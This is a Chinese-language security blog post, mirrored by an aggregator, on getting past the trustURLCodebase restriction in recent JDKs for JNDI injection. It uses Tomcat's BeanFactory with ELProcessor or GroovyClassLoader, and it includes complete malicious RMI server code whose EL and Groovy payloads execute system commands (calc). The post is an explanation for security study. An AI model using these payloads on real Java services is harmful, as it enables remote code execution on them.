1

利用本地Factory绕过jdk高版本限制进行jndi注入

 2 years ago
source link: https://y4er.com/post/use-local-factory-bypass-jdk-to-jndi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在java中jndi注入是一个老生常谈的问题

jndi注入

在java中jndi注入是一个老生常谈的问题,而jndi注入用一行代码表示如下

new InitialContext().lookup(request.getParameter("q"));

当lookup()函数的值可控时,可以自己搭建恶意的rmi/ldap服务,客户端加载我们恶意的服务端类对象codebase,并创建实例,使得static代码块中的代码被执行。

oracle在jdk8u121使用trustURLCodebase限制了rmi对于codebase的远程加载,但是可以使用ldap绕过,但是8u191之后ldap同样不能使用。由此本文展开对于8u191之后的jndi注入的利用。

高版本jdk的限制所在

com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)

1.png

进行decodeObject(),跟进

2.png

断点的地方就是trustURLCodebase所在的限制。分析if条件得到如果Reference对象var8不为空并且var8的classFactoryLocation字段不为空,那么就抛出异常。

绕过也是出在这里

如上文所说,如果我们构造一个classFactoryLocation字段为空的Reference对象,那么这个if就过去了。即

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);

通过ResourceRef的构造方法,赋予最后一个字段为空即可。接下来继续走到NamingManager.getObjectInstance(var3, var2, this, this.environment);

3.png

在getObjectFactoryFromReference()有具体的加载规则

4.png

首先先尝试从本地classpath中加载类,并且进行了一个ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)的过滤。如果找不到类的话从codebase加载,也就是160行,需要clas为空(本地没找到)、classFactoryLocation不为空,然后173行创建实例。

但是classFactoryLocation不为空的条件和上文的绕过方式冲突了,所以不能用helper.loadClass(factoryName, codebase)来加载类执行代码。

所以重新回到javax.naming.spi.NamingManager#getObjectInstance方法中

5.png

329行绕不过,但是可以加载本地的classpath的ObjectFactory工厂类对象,然后调用其getObjectInstance方法来创建对象。所以我们需要寻找哪个工厂类中的getObjectInstance方法可以利用。

ObjectFactory是一个接口类,getObjectInstance是该类的一个接口

    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
        throws Exception;

我们需要找一个类,这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。

由此引入org.apache.naming.factory.BeanFactory类,在org.apache.naming.factory.BeanFactory#getObjectInstance中

6.png

加载ELProcessor类,然后

7.png

取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且在64行填充了一个string类型的参数作为method的反射调用,在80行通过method名和一个string的参数拿到eval函数

8.png

最后反射调用

9.png

整个rmi的服务端代码如下

package com.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {


    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evilEL", referenceWrapper);
    }

}

除了el表达式之外还有groovy也可以,原理一样,代码如下。

public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1097");
    Registry registry = LocateRegistry.createRegistry(1097);
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=parseClass"));
    String script = "@groovy.transform.ASTTest(value={\n" +
        "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
        "})\n" +
        "def x\n";
    ref.add(new StringRefAddr("x",script));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("evilGroovy", referenceWrapper);
}

org.apache.naming.factory.BeanFactory需要tomcat8+或者SpringBoot 1.2.x+,因为javax.el.ELProcessor类。

groovy同样需要groovy和Tomcat依赖。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK